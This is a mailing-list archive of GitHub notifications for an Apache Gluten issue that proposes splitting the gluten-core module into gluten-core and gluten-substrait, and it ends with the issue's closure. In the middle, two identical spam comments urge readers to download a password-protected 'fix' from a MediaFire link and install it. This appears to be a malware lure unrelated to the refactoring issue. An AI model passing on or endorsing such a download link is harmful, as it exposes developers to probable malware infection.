You are viewing a plain text version of this content. The canonical link for it is here.
Posted to commits@gluten.apache.org by "zhztheplayer (via GitHub)" <gi...@apache.org> on 2024/08/27 08:33:16 UTC
[I] [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait` [incubator-gluten]
zhztheplayer opened a new issue, #7031:
URL: https://github.com/apache/incubator-gluten/issues/7031
### Description
Part of https://github.com/apache/incubator-gluten/issues/6920 which is the final goal.
`gluten-substrait` will include Gluten's substrait definitions, and the abstract APIs of Substrait-based query plans. This could mean, most of the current plan nodes' base traits/classes that are coupled with Substrait will be moved into `gluten-substrait`. Also, some backend APIs that are related to Substrait, say `SparkPlanExecApi` may be factored out to have major of the code placed in this new module.
`gluten-core` will become a comparatively thin layer than before. The module will provide Spark listeners, task life cycle managers, query planner facilities, and memory consumer, metrics, config utilities, etc.
After the refactor, when a new library/backend is getting integrated into Gluten, it will not be strictly required to implement complete Gluten Substrait protocols and will have its own flexibility to inject its native computation ability into Gluten. Since developer could decide whether to use `gluten-substrait` as a parent or not.
Meanwhile, `gluten-data` may be renamed to `gluten-arrow` for clearer demonstration for its purpose, which targets to provide pre-defined data sharing/transition utilities for arrow-compatible libraries. But this could be in another topic.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For additional commands, e-mail: commits-help@gluten.apache.org
Re: [I] [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait` [incubator-gluten]
Posted by "MirsonMboa (via GitHub)" <gi...@apache.org>.
MirsonMboa commented on issue #7031:
URL: https://github.com/apache/incubator-gluten/issues/7031#issuecomment-2311900595
to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For additional commands, e-mail: commits-help@gluten.apache.org
Re: [I] [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait` [incubator-gluten]
Posted by "MirsonMboa (via GitHub)" <gi...@apache.org>.
MirsonMboa commented on issue #7031:
URL: https://github.com/apache/incubator-gluten/issues/7031#issuecomment-2311899395
to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For additional commands, e-mail: commits-help@gluten.apache.org
Re: [I] [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait` [incubator-gluten]
Posted by "zhztheplayer (via GitHub)" <gi...@apache.org>.
zhztheplayer closed issue #7031: [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait`
URL: https://github.com/apache/incubator-gluten/issues/7031
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For additional commands, e-mail: commits-help@gluten.apache.org
Re: [I] [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait` [incubator-gluten]
Posted by "zhztheplayer (via GitHub)" <gi...@apache.org>.
zhztheplayer closed issue #7031: [CORE] Separate `gluten-core` module into `gluten-core` and `gluten-substrait`
URL: https://github.com/apache/incubator-gluten/issues/7031
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For queries about this service, please contact Infrastructure at:
users@infra.apache.org
---------------------------------------------------------------------
To unsubscribe, e-mail: commits-unsubscribe@gluten.apache.org
For additional commands, e-mail: commits-help@gluten.apache.org